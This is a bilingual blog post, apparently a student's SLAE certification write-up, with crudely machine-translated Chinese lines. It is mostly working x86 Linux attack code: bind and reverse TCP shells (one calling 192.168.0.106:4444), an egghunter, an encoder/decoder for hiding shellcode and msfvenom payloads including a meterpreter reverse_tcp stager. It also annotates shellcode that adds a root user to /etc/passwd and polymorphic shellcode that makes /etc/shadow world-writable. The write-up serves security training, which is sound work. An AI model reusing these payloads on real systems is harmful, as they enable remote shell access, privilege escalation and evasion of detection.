SecurityTube Linux Assembly Exam (SLAE) — is a final part of course:
SecurityTube Linux组装考试(SLAE)—当然是最后一部分:
securitytube-training.com/online-courses/securitytube-linux-assembly-expert securitytube-training.com/online-courses/securitytube-linux-assembly-expertThis course focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec and can be useful for security engineers, penetrations testers and everyone who wants to understand how to write simple shellcodes.
本课程侧重于讲授Linux平台上的英特尔架构(IA-32)处理器家族的32位汇编语言的基础知识,并将其应用于Infosec,对安全工程师,渗透测试人员以及所有想要了解的人都非常有用如何编写简单的shellcode。
This blog post have been created for completing requirements of the Security Tube Linux Assembly Expert certification.
创建此博客文章是为了满足Security Tube Linux Assembly Expert认证的要求。
Exam consists of 7 tasks:
考试包含7个任务:
1. TCP Bind Shell
1. TCP绑定外壳
2. Reverse TCP Shell
2.反向TCP Shell
3. Egghunter
3.蛋猎人
4. Custom encoder
4.自定义编码器
5. Analysis of 3 msfvenom generated shellcodes with GDB/ndisasm/libemu
5.使用GDB / ndisasm / libemu分析3个msfvenom生成的shellcode
6. Modifying 3 shellcodes from shell-storm
6.从shell-storm修改3个shellcode
Student ID: SLAE-12034
学生证号:SLAE-12034
制备 (Preparation)
Before I start to describe 7 tasks of this exam, I should explain some scripts, which help a lot in exam automatization.
在开始描述该考试的7个任务之前,我应该解释一些脚本,这些脚本对考试的自动化有很大帮助。
nasm32.sh (nasm32.sh)
#!/bin/bash
if [ -z $1 ]; then
echo "Usage ./nasm32 <nasmMainFile> (no extension)"
exit
fi
if [ ! -e "$1.asm" ]; then
echo "Error, $1.asm not found."
echo "Note, do not enter file extensions"
exit
fi
nasm -f elf $1.asm -o $1.o
ld -m elf_i386 -o $1 $1.o
Usually I use this command for fast compiling and linking .asm files.
通常,我使用此命令来快速编译和链接.asm文件。
popcode.sh (popcode.sh)
PrintOpcode
打印操作码
#!/bin/bash
target=$1
objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
Prints opcode of program in format "\x..\x...."
以“ \ x .. \ x ....”格式打印程序的操作码
hexopcode.sh (hexopcode.sh)
HexOpcode
十六进制代码
#!/bin/bash
target=$1
objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed -e 's!\\x!!g'
Prints opcode without "\x". Useful for using with next python script
打印不带“ \ x”的操作码。 与下一个python脚本一起使用时很有用
hex2stack.py (hex2stack.py)
hex to stack
十六进制堆叠
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import sys
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Enter opcode in hex")
sys.exit(0)
string = sys.argv[1]
reversed = [string[i:i+2] for i in range(0,len(string),2)][::-1]
l = len(reversed) % 4
if l:
print("\tpush 0x" + "90"*(4-l) + "".join(reversed[0:l]))
for p in range(l, len(reversed[l:]), 4):
print("\tpush 0x" + "".join(reversed[p:p+4]))
This python script recieves opcode in hex-format and prints push commands for assembly file.
该python脚本以十六进制格式接收操作码,并输出汇编文件的推送命令。
Example:
例:
$./stack_shell.py 31c0506a68682f626173682f62696e89e35089c25389e1b00bcd80
out:
push 0x9080cd0b
push 0xb0e18953
push 0xc28950e3
push 0x896e6962
push 0x2f687361
push 0x622f6868
push 0x6a50c031
This is comfortable for placing our shellcode in stack for future executing.
这很适合将我们的shellcode放在堆栈中以供将来执行。
uscompile.sh (uscompile.sh)
UnSafeCompile. Another alias for compiling C files, usually with shellcode.
UnSafeCompile。 另一个用于编译C文件的别名,通常使用shellcode。
#!/bin/bash
if [ -z $1 ]; then
echo "Usage ./compile <cFile> (no extension)"
exit
fi
if [ ! -e "$1.c" ]; then
echo "Error, $1.c not found."
echo "Note, do not enter file extensions"
exit
fi
gcc -masm=intel -m32 -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o $1 $1.c
shellcode.c (shellcode.c)
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
It's a template for checking shellcodes. Length will be calculated until first '\x00'.
这是用于检查shellcode的模板。 长度将一直计算到第一个'\ x00'。
任务 (Tasks)
1. TCP绑定外壳 (1. TCP Bind Shell)
Common algorithm of creating Linux TCP Socket is:
创建Linux TCP套接字的常见算法是:
1. Create socket with socket() call
1.使用socket()调用创建套接字
2. Set properties for created socket: protocol, address, port and execute bind() call
2.设置创建的套接字的属性:协议,地址,端口并执行bind()调用
3. Execute listen() call for connections
3.执行listen()调用进行连接
4. accept() for accepting clients
4. accept()接受客户
5. Duplicate standard file descriptors in client's file descriptor
5.在客户端的文件描述符中复制标准文件描述符
6. execve() shell
6. execve()外壳
It's better for understanding to start with C TCP Bind Shell program.
最好从C TCP Bind Shell程序开始理解。
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>
int main(void)
{
int clientfd, sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;
// AF_INET - IPv4, SOCK_STREAM - TCP, 0 - most suitable protocol
// AF_INET = 2, SOCK_STREAM = 1
// create socket, save socket file descriptor in sockfd variable
sockfd = socket(AF_INET, SOCK_STREAM, 0);
// fill structure
mysockaddr.sin_family = AF_INET; //--> can be represented in numeric as 2
mysockaddr.sin_port = htons(port);
//mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented in numeric as 0 which means to bind to all interfaces
mysockaddr.sin_addr.s_addr = inet_addr("192.168.0.106");
// size of this array is 16 bytes
//printf("size of mysockaddr: %lu\n", sizeof(mysockaddr));
// executing bind() call
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
// listen()
listen(sockfd, 1);
// accept()
clientfd = accept(sockfd, NULL, NULL);
// duplicate standard file descriptors in client file descriptor
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
// and last: execute /bin/sh. All input and ouput of /bin/sh will translated via TCP connection
char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
Now, lets write same program on assembly language.
现在,让我们用汇编语言编写相同的程序。
0. Prepare registers
0.准备寄存器
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor esi, esi
1. Create socket
1.创建套接字
In x86 linux syscalls there is no direct socket() call. All socket calls can be executed via socketcall() method. socketcall() method recieves 2 arguments: number of socket call and pointer to it's arguments. List of socket calls you can find in /usr/include/linux/net.h file.
在x86 linux syscalls中,没有直接的socket()调用。 可以通过socketcall()方法执行所有套接字调用。 socketcall()方法接收2个参数:套接字调用的数量和指向该参数的指针。 您可以在/usr/include/linux/net.h文件中找到套接字调用的列表。
; creating socket. 3 args
push esi ; 3rd arg, choose default proto
push 0x1 ; 2nd arg, 1 equal SOCK_STREAM, TCP
push 0x2 ; 1st arg, 2 means Internet family proto
; calling socket call for socket creating
mov al, 102 ; socketcall
mov bl, 1 ; 1 = socket()
mov ecx, esp ; pointer to args of socket()
int 0x80
; in eax socket file descriptor. Save it
mov edx, eax
2. Creating sockaddr_in addr struct and bind()
2.创建sockaddr_in addr结构体和bind()
In sockaddr_in structure PORT has WORD size, as Protocol family number
在sockaddr_in结构中,PORT具有WORD大小,作为协议族编号
; creating sockaddr_in addr struct for bind
push esi ; address, 0 - all interfaces
push WORD 0xd204 ; port 1234.
push WORD 2 ; AF_INET
mov ecx, esp ; pointer to sockaddr_in struct
push 0x16 ; size of struct
push ecx ; pushing pointer to struct
push edx ; pushing socket descriptor
; socketcall
mov al, 102
mov bl, 2 ; bind()
mov ecx, esp
int 0x80
If you want to set another port:
如果要设置另一个端口:
$python3 -c "import socket; print(hex(socket.htons(<int:port>)))"
And if you want to set address directly:
如果您想直接设置地址:
$python3 -c 'import ipaddress; d = hex(int(ipaddress.IPv4Address("<IPv4 address>"))); print("0x"+"".join([d[i:i+2] for i in range(0,len(d),2)][1:][::-1]))'
3. listen() call
3. listen()调用
; creating listen
push 1
push edx
; calling socketcall
mov al, 102
mov bl, 4 ; listen()
mov ecx, esp
int 0x80
4. Accept()
4. Accept()
; creating accept()
push esi
push esi
push edx
; calling socketcall
mov al, 102
mov bl, 5 ; accept()
mov ecx, esp
int 0x80
mov edx, eax ; saving client file descriptor
5. Duplicating file descriptors
5.复制文件描述符
; dup2 STDIN, STDOUT, STDERR
xor ecx, ecx
mov cl, 3
mov ebx, edx
dup: dec ecx
mov al, 63
int 0x80
jns dup
6. Executing /bin/sh via execve()
6.通过execve()执行/ bin / sh
; execve /bin/sh
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
All information about system calls you can read from Linux manuals. For example:
您可以从Linux手册中阅读有关系统调用的所有信息。 例如:
$man 2 bind
Put it all together
放在一起
section .text
global _start
_start:
; clear registers
xor eax, eax
xor ebx, ebx
xor esi, esi
; creating socket. 3 args
push esi ; 3rd arg, choose default proto
push 0x1 ; 2nd arg, 1 equal SOCK_STREAM, TCP
push 0x2 ; 1st arg, 2 means Internet family proto
; calling socket call for socket creating
mov al, 102 ; socketcall
mov bl, 1 ; 1 = socket()
mov ecx, esp ; pointer to args of socket()
int 0x80
; in eax socket file descriptor. Save it
mov edx, eax
; creating sockaddr_in addr struct for bind
push esi ; address, 0 - all interfaces
push WORD 0xd204 ; port 1234.
push WORD 2 ; AF_INET
mov ecx, esp ; pointer to sockaddr_in struct
push 0x16 ; size of struct
push ecx ; pushing pointer to struct
push edx ; pushing socket descriptor
; socketcall
mov al, 102 ; socketcall() number
mov bl, 2 ; bind()
mov ecx, esp ; 2nd argument - pointer to args
int 0x80
; creating listen
push 1 ; listen for 1 client
push edx ; clients queue size
; calling socketcall
mov al, 102
mov bl, 4 ; listen()
mov ecx, esp
int 0x80
; creating accept()
push esi ; use default value
push esi ; use default value
push edx ; sockfd
; calling socketcall
mov al, 102
mov bl, 5 ; accept()
mov ecx, esp
int 0x80
mov edx, eax ; saving client file descriptor
; dup2 STDIN, STDOUT, STDERR
xor ecx, ecx ; clear ecx
mov cl, 3 ; number of loops
mov ebx, edx ; socketfd
dup: dec ecx
mov al, 63 ; number of dup2 syscall()
int 0x80
jns dup ; repeat for 1,0
; execve /bin/bash
xor eax, eax ; clear eax
push eax ; string terminator
push 0x68732f2f ; //bin/sh
push 0x6e69622f
mov ebx, esp ; 1st arg - address of //bin/sh
push eax ;
mov edx, eax ; last argument is zero
push ebx ; 2nd arg - pointer to all args of command
mov ecx, esp ; pointer to args
mov al, 11 ; execve syscall number
int 0x80
Check it
核实
2.反向TCP Shell (2. Reverse TCP Shell)
This task is quite similar with previous one. The difference is in replacing bind(), listen(), accept() with connect() method.
此任务与上一个任务非常相似。 区别在于用connect()方法替换bind(),listen(),accept()。
Algorithm:
算法:
1. Create socket with socket() call
1.使用socket()调用创建套接字
2. Set properties for created socket: protocol, address, port and execute connect() call
2.设置创建的套接字的属性:协议,地址,端口并执行connect()调用
3. Duplicate sockfd into standard file descriptors (STDIN, STDOUT, STDERR)
3.将sockfd复制到标准文件描述符(STDIN,STDOUT,STDERR)中
4. execve() shell
4. execve()外壳
C code
C代码
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
int main ()
{
const char* ip = "192.168.0.106"; // place your address here
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444); // port
inet_aton(ip, &addr.sin_addr);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
/* duplicating standard file descriptors */
for (int i = 0; i < 3; i++)
{
dup2(sockfd, i);
}
execve("/bin/sh", NULL, NULL);
return 0;
}
Translate it into assembly:
将其转换为汇编:
section .text
global _start
_start:
; creating socket
xor eax, eax
xor esi, esi
xor ebx, ebx
push esi
push 0x1
push 0x2
; calling socket call for socket creating
mov al, 102
mov bl, 1
mov ecx, esp
int 0x80
mov edx, eax
; creating sockaddr_in and connect()
push esi
push esi
push 0x6a00a8c0 ; IPv4 address to connect
push WORD 0x5c11 ; port
push WORD 2
mov ecx, esp
push 0x16
push ecx
push edx
; socketcall()
mov al, 102
mov bl, 3 ; connect()
mov ecx, esp
int 0x80
; dup2 STDIN, STDOUT, STDERR
xor ecx, ecx
mov cl, 3
mov ebx, edx
dup: dec ecx
mov al, 63
int 0x80
jns dup
; execve /bin/sh
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
Then
然后
$nasm32 reverse_tcp_shell.asm
You can set custom IP address to connect and port with python commands above (Task 1)
您可以设置自定义IP地址以使用上面的python命令进行连接和移植(任务1)
Result
结果
3.寻蛋技术 (3. Egg hunter technique)
The purpose of an egg hunter is to search the entire memory range (stack/heap/..) for final stage shellcode and redirect execution flow to it.
寻蛋猎人的目的是在整个内存范围(堆栈/堆/ ..)中搜索最后阶段的shellcode,并将执行流重定向到该范围。
For imitation this technique in assembly language I decided to:
为了模仿汇编语言中的这种技术,我决定:
1. Push some trash in stack
1.将一些垃圾推入堆栈
2. Push shellcode in stack
2.将shellcode压入堆栈
3. Push egg which we will search for
3.推鸡蛋,我们将寻找
4. Push another trash
4.推另一个垃圾桶
Let's generate some trash with python script
让我们用python脚本生成一些垃圾
#!/usr/bin/python3
import random
rdm = bytearray(random.getrandbits(8) for _ in range(96))
for i in range(0,len(rdm),4):
bts = rdm[i:i+4]
print("\tpush 0x" + ''.join('{:02x}'.format(x) for x in bts))
I want to find shellcode of execute execve() with /bin/sh.
我想用/ bin / sh查找执行execve()的shellcode。
; execve_sh
global _start
section .text
_start:
; PUSH 0
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, eax
push ebx
mov ecx, esp
mov al, 11
int 0x80
Generate push commands for this:
为此生成推送命令:
$nasm32 execve_sh; ./hex2stack.py $(hexopcode execve_sh)
Put it all together
放在一起
section .text
global _start
_start:
; trash
push 0x94047484
push 0x8c35f24a
push 0x5a449067
push 0xf5a651ed
push 0x7161d058
push 0x3b7b4e10
push 0x9f93c06e
; shellcode execve() /bin/sh
push 0x9080cd0b
push 0xb0e18953
push 0xe28950e3
push 0x896e6962
push 0x2f687361
push 0x622f6868
push 0x6a50c031
; egg
push 0xdeadbeef
; trash
push 0xd213a92d
push 0x9e3a066b
push 0xeb8cb927
push 0xddbaec55
push 0x43a73283
push 0x89f447de
push 0xacfb220f
mov ebx, 0xefbeadde ; egg in reverse order
mov esi, esp
mov cl, 200 ; change this value for deeper or less searching
find: lodsb ; read byte from source - esi
cmp eax, ebx ; is it egg?
jz equal ; if so, give control to shellcode
shl eax, 8 ; if not, shift one byte left
loop find ; repeat
xor eax, eax ; if there is no egg - exit
mov al, 1
xor ebx, ebx
mov bl, 10
int 0x80
equal: jmp esi ; jmp to shellcode
You can replace instruction loop find with jmp find but it can crash program.
您可以将指令循环查找替换为jmp find,但它可能会使程序崩溃。
There are cases when your shellcode can be in lower address than your egghunter code. In this case reverse reading with Direction flag (std) can help you to perform search for egg. When you found shellcode, clear direction flag and jump to esi+offset.
在某些情况下,shellcode的地址可能比egghunter代码的地址低。 在这种情况下,使用方向标记(std)进行反向读取可以帮助您执行鸡蛋搜索。 找到shellcode后,清除方向标记并跳转到esi + offset。
4.编码器 (4. Encoder)
In this exercise I've made insertion encoder with small trick: there is random value of «trash» bytes. Encoder looks:
在本练习中,我使用了一些小技巧来制作插入编码器:随机存在“垃圾”字节的值。 编码器外观:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import sys
import random
if len(sys.argv) != 2:
print("Enter opcode in hex")
sys.exit(0)
opcode = sys.argv[1]
encoded = ""
b1 = bytearray.fromhex(opcode)
# Generates random value from 1 to 5 of 'aa' string
for x in b1:
t = 'aa' * random.randint(1,5)
encoded += '%02x' % x + t
print(encoded)
As always, place this code into stack:
和往常一样,将此代码放入堆栈:
$./hex2stack.py $(./encoder.py $(hexopcode execve_sh))
Output:
输出:
push 0x909090aa
push 0xaaaaaaaa
push 0x80aaaaaa
push 0xaacdaaaa
push 0xaaaa0baa
push 0xaaaaaaaa
push 0xb0aaaaaa
push 0xaae1aaaa
push 0xaaaaaa89
push 0xaaaaaa53
push 0xaaaaaac2
push 0xaa89aaaa
push 0xaaaa50aa
push 0xaaaaaaaa
push 0xe3aaaa89
push 0xaaaa6eaa
push 0xaa69aaaa
push 0xaaaa62aa
push 0xaaaaaa2f
push 0xaa68aaaa
push 0x68aaaaaa
push 0xaaaa73aa
push 0xaaaa2faa
push 0xaa2faaaa
push 0xaa68aaaa
push 0x50aaaaaa
push 0xaaaac0aa
push 0xaaaaaa31
Pay attention at first part: 0x909090aa. 90 will be end-of-shellcode byte in decoder.
在第一部分中注意:0x909090aa。 90将是解码器中的shell结束字节。
Code of decoder.asm
解码器.asm代码
section .text
global _start
_start:
; encoded shellcode
push 0x909090aa
push 0xaaaaaaaa
push 0x80aaaaaa
push 0xaacdaaaa
push 0xaaaa0baa
push 0xaaaaaaaa
push 0xb0aaaaaa
push 0xaae1aaaa
push 0xaaaaaa89
push 0xaaaaaa53
push 0xaaaaaac2
push 0xaa89aaaa
push 0xaaaa50aa
push 0xaaaaaaaa
push 0xe3aaaa89
push 0xaaaa6eaa
push 0xaa69aaaa
push 0xaaaa62aa
push 0xaaaaaa2f
push 0xaa68aaaa
push 0x68aaaaaa
push 0xaaaa73aa
push 0xaaaa2faa
push 0xaa2faaaa
push 0xaa68aaaa
push 0x50aaaaaa
push 0xaaaac0aa
push 0xaaaaaa31
; prepare registers for decoding
mov esi, esp
mov edi, esp
mov bl, 0xaa
decoder:
lodsb ; read byte from stack
cmp al, bl ; check: is it trash byte?
jz loopy ; if so, repeat
cmp al, 0x90 ; is it end of shellcode?
jz exec ; if so, go to start of shellcode
stosb ; if not, place byte of shellcode into stack
loopy: jmp decoder ; repeat
exec: jmp esp ; give flow control to shellcode
When shellcode has no nop instructions it is normal to choose this byte as stop-marker. You can choose any another value as stop-marker — push this byte(s) first.
当shellcode没有nop指令时,通常选择该字节作为停止标记。 您可以选择其他任何值作为停止标记-首先推送该字节。
Result
结果
5.使用GDB / libemu / ndisasm分析msfvenom生成的shellcode (5. Analyzing msfvenom generated shellcodes with GDB/libemu/ndisasm)
1.添加用户 (1. Add user)
Command for generating shellcode
生成shellcode的命令
msfvenom -a x86 --platform linux -p linux/x86/adduser -f c > adduser.c
There are several ways to analyze this code with GDB, I decided to place this code into stack and execute it:
有几种方法可以使用GDB分析此代码,我决定将这些代码放入堆栈并执行:
$ cat adduser.c | grep -Po "\\\x.." | tr -d '\n' | sed -e 's!\\x!!g' ; echo
31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
$ python3 hex2stack.py 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
out:
push 0x90909080
push 0xcd58016a
push 0x80cd5804
...
And make .asm file:
并制作.asm文件:
section .text
global _start
_start:
push 0x90909080
push 0xcd58016a
push 0x80cd5804
push 0x6afc518b
push 0x590a6873
push 0x2f6e6962
push 0x2f3a2f3a
push 0x3a303a30
push 0x3a635249
push 0x3470346a
push 0x7349642f
push 0x7a413a74
push 0x696f6c70
push 0x73617465
push 0x6d000000
push 0x28e89380
push 0xcd04b541
push 0xe3896374
push 0x652f6861
push 0x702f2f68
push 0x64777373
push 0x6851c931
push 0x58056a80
push 0xcd58466a
push 0xcb89c931
jmp esp
First, setreuid(0,0) syscall is executing. It sets root privileges to program.
首先,正在执行setreuid(0,0)系统调用。 它将root特权设置为program。
xor ecx, ecx ; ecx = 0
mov ebx, ecx ; ebx = 0
; setreuid(0,0) - set root as owner of this process
push 0x46
pop eax
int 0x80
Then open /etc/passwd file and go to address with call instruction. Call instruction places address of next instruction onto stack. In our case it is string «metasploit...» which program adds into opened file. This picture clarifies number values which is used with files.
然后打开/ etc / passwd文件,并通过调用指令转到地址。 调用指令将下一条指令的地址放到堆栈中。 在我们的例子中,它是字符串“ metasploit ...”,程序会将其添加到打开的文件中。 此图阐明了文件使用的数字值。
; Executing open() sys call
push 0x5
pop eax
xor ecx, ecx
push ecx ; push 0, end of filename path
; pushing /etc/passwd string
push 0x64777373
push 0x61702f2f
push 0x6374652f
mov ebx, esp ; placing address of filename as argument
inc ecx
mov ch,0x4 ; ecx is 0x401 - 02001 - open file in write only access and append
int 0x80
xchg ebx, eax
call 0x80480a7
And last step is writing our string into /etc/passwd file.
最后一步是将我们的字符串写入/ etc / passwd文件。
pop ecx ; string metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀\220\220\220\001
mov edx, DWORT PTR [ecx-0x4] ; length of string
push ecx
push 0x4
pop eax
int 0x80 ; write string into file
push 0x1
pop eax
int 0x80 ; exit
Instructions after call
通话后说明
Due to call instruction we can set any pair username:password easily.
根据通话说明,我们可以轻松设置任意一对username:password。
2.执行whoami (2. Exec whoami)
Generate shellcode
生成shellcode
$msfvenom -a x86 --platform linux -p linux/x86/exec CMD="whoami" -f raw> exec_whoami.bin
This payload execute /bin/sh -c whoami, using call instruction. In case of call next instruction is placing into stack, that's why it's easily to create any command for executing.
该有效负载使用调用指令执行/ bin / sh -c whoami。 如果要调用下一条指令放入堆栈,这就是为什么很容易创建任何要执行的命令的原因。
To analyze shellcode with libemu:
要使用libemu分析shellcode:
$sctest -vv -S -s 10000 -G shell.dot < exec_whoami.bin
[emu 0x0x16c8100 debug ] 6A0B push byte 0xb
; execve()
[emu 0x0x16c8100 debug ] 58 pop eax
[emu 0x0x16c8100 debug ] 99 cwd
; in this case - set to 0 due to cwd and small eax
[emu 0x0x16c8100 debug ] 52 push edx
; "-c"
[emu 0x0x16c8100 debug ] 66682D63 push word 0x632d
; address of "-c"
[emu 0x0x16c8100 debug ] 89E7 mov edi,esp
; /bin/sh
[emu 0x0x16c8100 debug ] 682F736800 push dword 0x68732f
[emu 0x0x16c8100 debug ] 682F62696E push dword 0x6e69622f
; 1st arg of execve()
[emu 0x0x16c8100 debug ] 89E3 mov ebx,esp
; null
[emu 0x0x16c8100 debug ] 52 push edx
; place "whoami" in stack
[emu 0x0x16c8100 debug ] E8 call 0x1
; push "-c"
[emu 0x0x16c8100 debug ] 57 push edi
; push "/bin/sh"
[emu 0x0x16c8100 debug ] 53 push ebx
; 2nd argument of execve()
; pointer to args
[emu 0x0x16c8100 debug ] 89E1 mov ecx,esp
; execute execve()
[emu 0x0x16c8100 debug ] CD80 int 0x80
3.反向Meterpreter TCP (3. Reverse Meterpreter TCP)
command to generate payload
生成有效载荷的命令
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw > meter_revtcp.bin
Then
然后
ndisasm -u meter_revtcp.bin
Code with comments
带注释的代码
00000000 6A0A push byte +0xa
00000002 5E pop esi ; place 10 in esi
00000003 31DB xor ebx,ebx ; nullify ebx
00000005 F7E3 mul ebx
00000007 53 push ebx ; push 0
00000008 43 inc ebx ; 1 in ebx
00000009 53 push ebx ; push 1
0000000A 6A02 push byte +0x2 ; push 2
0000000C B066 mov al,0x66 ; mov socketcall
0000000E 89E1 mov ecx,esp ; address of argument
00000010 CD80 int 0x80 ; calling socketcall() with socket()
00000012 97 xchg eax,edi ; place sockfd in edi
00000013 5B pop ebx ; in ebx 1
00000014 68C0A80066 push dword 0x6600a8c0 ; place IPv4 address connect to
00000019 680200115C push dword 0x5c110002 ; place port and proto family
0000001E 89E1 mov ecx,esp
00000020 6A66 push byte +0x66
00000022 58 pop eax ; socketcall()
00000023 50 push eax
00000024 51 push ecx ; addresss of sockaddr_in structure
00000025 57 push edi ; sockfd
00000026 89E1 mov ecx,esp ; address of arguments
00000028 43 inc ebx
00000029 CD80 int 0x80 ; call connect()
0000002B 85C0 test eax,eax ;
0000002D 7919 jns 0x48 ; if connect successful - jmp
0000002F 4E dec esi ; in esi 10 - number of attempts to connect
00000030 743D jz 0x6f ; if zero attempts left - exit
00000032 68A2000000 push dword 0xa2
00000037 58 pop eax
00000038 6A00 push byte +0x0
0000003A 6A05 push byte +0x5
0000003C 89E3 mov ebx,esp
0000003E 31C9 xor ecx,ecx
00000040 CD80 int 0x80 ; wait 5 seconds
00000042 85C0 test eax,eax
00000044 79BD jns 0x3
00000046 EB27 jmp short 0x6f
00000048 B207 mov dl,0x7 ; mov dl 7 - read, write, execute for mprotect() memory area
0000004A B900100000 mov ecx,0x1000 ; 4096 bytes
0000004F 89E3 mov ebx,esp
00000051 C1EB0C shr ebx,byte 0xc
00000054 C1E30C shl ebx,byte 0xc ; nullify 12 lowest bits
00000057 B07D mov al,0x7d ; mprotect syscall
00000059 CD80 int 0x80
0000005B 85C0 test eax,eax
0000005D 7810 js 0x6f ; if no success with mprotect -> exit
0000005F 5B pop ebx ; if success put sockfd in ebx
00000060 89E1 mov ecx,esp
00000062 99 cdq
00000063 B60C mov dh,0xc
00000065 B003 mov al,0x3 ; read data from socket
00000067 CD80 int 0x80
00000069 85C0 test eax,eax
0000006B 7802 js 0x6f
0000006D FFE1 jmp ecx ; jmp to 2nd part of shell
0000006F B801000000 mov eax,0x1
00000074 BB01000000 mov ebx,0x1
00000079 CD80 int 0x80
This code is creating socket, trying to connect to the specified IP address, call mprotect for creating memory area and read 2nd part of shellcode from socket. If it can't connect to destination address, program waits 5 seconds and then is trying to reconnect. In case of fall on any stage it exits.
该代码正在创建套接字,尝试连接到指定的IP地址,调用mprotect创建内存区域,并从套接字读取shellcode的第二部分。 如果无法连接到目标地址,程序将等待5秒钟,然后尝试重新连接。 如果在任何阶段跌倒,它将退出。
6.来自shell-storm的三个多态shellcode (6. Three polymorphic shellcodes from shell-storm)
1. chmod / etc / shadow (1. chmod /etc/shadow)
; http://shell-storm.org/shellcode/files/shellcode-608.php
; Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes
; length - 40 bytes
section .text
global _start
_start:
sub ebx, ebx ; replaced
push 0x17 ; replaced
pop eax ; replaced
int 0x80
sub eax, eax ; replaced
push eax ; on success zero
push 0x776f6461
push 0x68732f63
push 0x74652f2f
mov ebx, esp
mov cl, 0xb6 ; replaced
mov ch, 0x1 ; replaced
add al, 15 ; replaced
int 0x80
add eax, 1 ; replaced
int 0x80
This shellcode calls setuid() with zero params (setting root privileges) and then chmod() /etc/shadow file.
此shellcode调用具有零参数(设置root特权)的setuid(),然后调用chmod()/ etc / shadow文件。
In some cases this code can be executed without nullifying registers.
在某些情况下,可以在不使寄存器无效的情况下执行该代码。
section .text
global _start
_start:
push 0x17 ; replaced
pop eax ; replaced
int 0x80
push eax ; on success zero
push 0x776f6461
push 0x68732f63
push 0x74652f2f
mov ebx, esp
mov cl, 0xb6 ; replaced
mov ch, 0x1 ; replaced
add al, 15 ; replaced
int 0x80
add eax, 1 ; replaced
int 0x80
This code is running well by building .asm.
通过构建.asm,此代码运行良好。
2.执行/ bin / sh (2. Execve /bin/sh)
; http://shell-storm.org/shellcode/files/shellcode-251.php
; (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 37 bytes
; length - 45 byte
section .text
global _start
_start:
push 0x17
mov eax, [esp] ; replaced
sub ebx, ebx ; replaced
imul edi, ebx ; replaced
int 0x80
push 0x2e
mov eax, [esp] ; replaced
push edi ; replaced
int 0x80
sub edx, edx ; replaced
push 0xb
pop eax
push edi ; replaced
push 0x68732f2f
push 0x6e69622f
lea ebx, [esp] ; replaced
push edi ; replaced
push edi ; replaced
lea esp, [ecx] ; replaced
int 0x80
3.使用第二阶段的TCP绑定shellcode (3. TCP bind shellcode with second stage)
; original: http://shell-storm.org/shellcode/files/shellcode-501.php
; linux/x86 listens for shellcode on tcp/5555 and jumps to it 83 bytes
; length 94
section .text
global _start
_start:
sub eax, eax ; replaced
imul ebx, eax ; replaced
imul edx, eax ; replaced
_socket:
push 0x6
push 0x1
push 0x2
add al, 0x66 ; replaced
add bl, 1 ; replaced
lea ecx, [esp] ; replaced
int 0x80
_bind:
mov edi, eax ; placing descriptor
push edx
push WORD 0xb315 ;/* 5555 */
push WORD 2
lea ecx, [esp] ; replaced
push 16
push ecx
push edi
xor eax, eax ; replaced
add al, 0x66 ; replaced
add bl, 1 ; replaced
lea ecx, [esp] ; replaced
int 0x80
_listen:
mov bl, 4 ; replaced
push 0x1
push edi
add al, 0x66 ; replaced
lea ecx, [esp] ; replaced
int 0x80
_accept:
push edx
push edx
push edi
add al, 0x66 ; replaced
mov bl, 5 ; replaced
lea ecx, [esp] ; replaced
int 0x80
mov ebx, eax
_read:
mov al, 0x3
lea ecx, [esp] ; replaced
mov dx, 0x7ff
mov dl, 1 ; replaced
int 0x80
jmp esp
Code of 2nd stage
第二阶段代码
section .text
global _start
_start:
xor eax, eax
mov al, 1
xor ebx, ebx
mov ebx, 100
int 0x80
Our 2nd stage is executed: exit code is 100.
我们的第二阶段被执行:退出代码为100。
7.密码 (7. Crypter)
